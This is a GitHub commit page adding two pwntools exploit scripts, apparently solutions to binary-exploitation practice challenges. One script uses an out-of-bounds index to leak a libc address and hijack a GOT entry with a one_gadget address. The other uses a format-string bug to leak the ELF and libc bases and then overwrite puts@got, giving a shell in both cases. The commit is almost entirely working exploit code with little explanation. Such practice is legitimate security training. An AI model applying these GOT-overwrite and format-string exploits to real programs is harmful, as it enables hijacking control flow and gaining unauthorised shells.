Skip to content

Commit fa8caf3

Browse files
committed
Add pwn3 solves
1 parent 432aa4e commit fa8caf3

File tree

2 files changed

+72
-0
lines changed

2 files changed

+72
-0
lines changed

dynamic-linking/got_hijack.py

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
#!/usr/bin/env python
2+
from pwn import *
3+
4+
context.arch = 'amd64'
5+
6+
elf = ELF('./got_hijack')
7+
p = process('./got_hijack')
8+
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
9+
#gdb.attach(p, '''''')
10+
offset = (elf.got['puts'] - elf.symbols['data']) // 8
11+
print(offset)
12+
13+
offset = (elf.got['__isoc99_scanf'] - elf.symbols['data']) // 8
14+
print(offset)
15+
16+
p.sendlineafter(':', str(offset))
17+
p.recvuntil('=')
18+
19+
printf_addr = int(p.recvline().strip())
20+
print(hex(printf_addr))
21+
libc_base = printf_addr - libc.symbols['__isoc99_scanf']
22+
23+
one_gadget = libc_base + 0xe6c81
24+
p.sendlineafter(':', str(one_gadget))
25+
p.interactive()
26+
27+
28+
29+
30+

fmtstr/fmtstr_stack.py

Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
#!/usr/bin/env python
2+
from pwn import *
3+
4+
p = process('./fmtstr_stack')
5+
elf = ELF('./fmtstr_stack')
6+
7+
context.log_level = 'debug'
8+
context.terminal = ['tmux', 'splitw', '-h']
9+
context.arch = 'amd64'
10+
11+
# leaking elf base address and libc base address
12+
# (0x7fffffffe9b8-0x007fffffffe910)/8 = 0x15
13+
"""
14+
fmt = ""
15+
for i in range(0x15, 0x30):
16+
fmt += "{}, %{}$p\n".format(i, i)
17+
print(fmt)
18+
p.sendafter("reading\n", fmt)
19+
"""
20+
#gdb.attach(p)
21+
22+
p.sendafter("reading\n", "%14$p\n%27$p\n")
23+
p.recvuntil("f\n")
24+
elf_base = p.recvline().decode().strip()
25+
print(elf_base)
26+
elf_base = int(elf_base, 16) - (0x00555555554040-0x00555555554000)
27+
print(hex(elf_base))
28+
29+
libc_base = p.recvline().decode().strip()
30+
print(libc_base)
31+
libc_base = int(libc_base, 16) - (0x007ffff7df30b3-0x007ffff7dcc000)
32+
print(hex(libc_base))
33+
34+
got_puts = elf_base + elf.got['puts']
35+
one_gadget = libc_base + 0xe6c81
36+
37+
# overwrite puts@got with one_gadget
38+
payload = fmtstr_payload(8, {got_puts: one_gadget}, write_size='byte', numbwritten=0)
39+
40+
p.sendafter("reading\n", payload)
41+
42+
p.interactive()

0 commit comments

Comments
 (0)